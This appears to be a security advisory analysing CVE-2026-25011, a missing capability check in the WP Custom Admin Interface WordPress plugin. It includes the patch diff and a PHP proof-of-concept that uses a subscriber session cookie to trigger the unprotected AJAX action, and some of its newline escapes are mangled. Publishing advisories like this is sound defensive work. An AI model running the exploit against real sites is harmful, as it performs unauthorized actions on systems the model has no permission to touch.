Atomic Edge analysis of CVE-2026-25011:
The WP Custom Admin Interface plugin for WordPress, versions up to and including 7.41, contains a missing authorization vulnerability. The flaw allows authenticated attackers with Subscriber-level access or higher to perform an unauthorized administrative action, specifically clearing plugin-related transients. The CVSS score is 4.3 (Medium).
The root cause is the absence of a capability check in the `wp_custom_admin_interface_delete_dismiss_transients` function. In the vulnerable version (wp-custom-admin-interface.php lines 2474-2480), the function executes a direct SQL DELETE query on the wp_options table for transient names matching ‘_transient_an_dismiss_%’. The function is hooked to the ‘wp_ajax_delete_dismiss_transients’ AJAX action. No authorization check exists before the database operation and the ‘success’ output.
Exploitation occurs via a POST request to the standard WordPress AJAX endpoint, /wp-admin/admin-ajax.php. An attacker with a valid WordPress session cookie, even at the Subscriber level, sends a request with the ‘action’ parameter set to ‘delete_dismiss_transients’. The request triggers the vulnerable function, executes the SQL DELETE statement, and returns ‘success’ in the HTTP response body, confirming the unauthorized action.
The patch in version 7.42 adds a capability check using `current_user_can( ‘administrator’ )` before executing the SQL query. The function now wraps the database operation and success echo within this conditional statement (lines 2476-2482). If the user lacks the ‘administrator’ capability, the function does nothing except call `die()`, effectively blocking the unauthorized action.
Successful exploitation allows a low-privileged user to delete specific plugin transients from the site’s options table. While the direct security impact of clearing these transients is limited, the vulnerability demonstrates a broken access control pattern. It could enable disruption of plugin state or be chained with other flaws if the transients control security-related notices or temporary data.
--- a/wp-custom-admin-interface/wp-custom-admin-interface.php
+++ b/wp-custom-admin-interface/wp-custom-admin-interface.php
@@ -4,7 +4,7 @@
* Plugin Name: WP Custom Admin Interface
* Plugin URI: https://www.northernbeacheswebsites.com.au
* Description: Customise the WordPress admin and login interfaces and customize the WordPress dashboard menu.
-* Version: 7.41
+* Version: 7.42
* Author: Martin Gibson
* Developer: Northern Beaches Websites
* Developer URI: https://www.northernbeacheswebsites.com.au
@@ -2474,11 +2474,16 @@
* Function to clear transients related to the admin notice
*/
function wp_custom_admin_interface_delete_dismiss_transients() {
- global $wpdb;
- $sql = "DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_an_dismiss_%'";
- $wpdb->query($sql);
- echo "success";
+
+ if ( current_user_can( 'administrator' ) ) {
+
+ global $wpdb;
+ $sql = "DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_an_dismiss_%'";
+ $wpdb->query($sql);
+ echo "success";
+ }
die();
+
}
add_action( 'wp_ajax_delete_dismiss_transients', 'wp_custom_admin_interface_delete_dismiss_transients');
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25011 - Custom Admin Interface <= 7.41 - Missing Authorization
<?php
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$cookie = 'wordpress_logged_in_cookie=YOUR_VALID_SESSION_COOKIE_HERE';
// The vulnerable AJAX action
$post_data = array('action' => 'delete_dismiss_transients');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/x-www-form-urlencoded',
'Cookie: ' . $cookie
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for successful exploitation
if ($response === 'success') {
echo "[+] Vulnerability exploited successfully. Transients cleared.n";
echo "Response: $responsen";
} else {
echo "[-] Exploit failed or target is patched.n";
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>
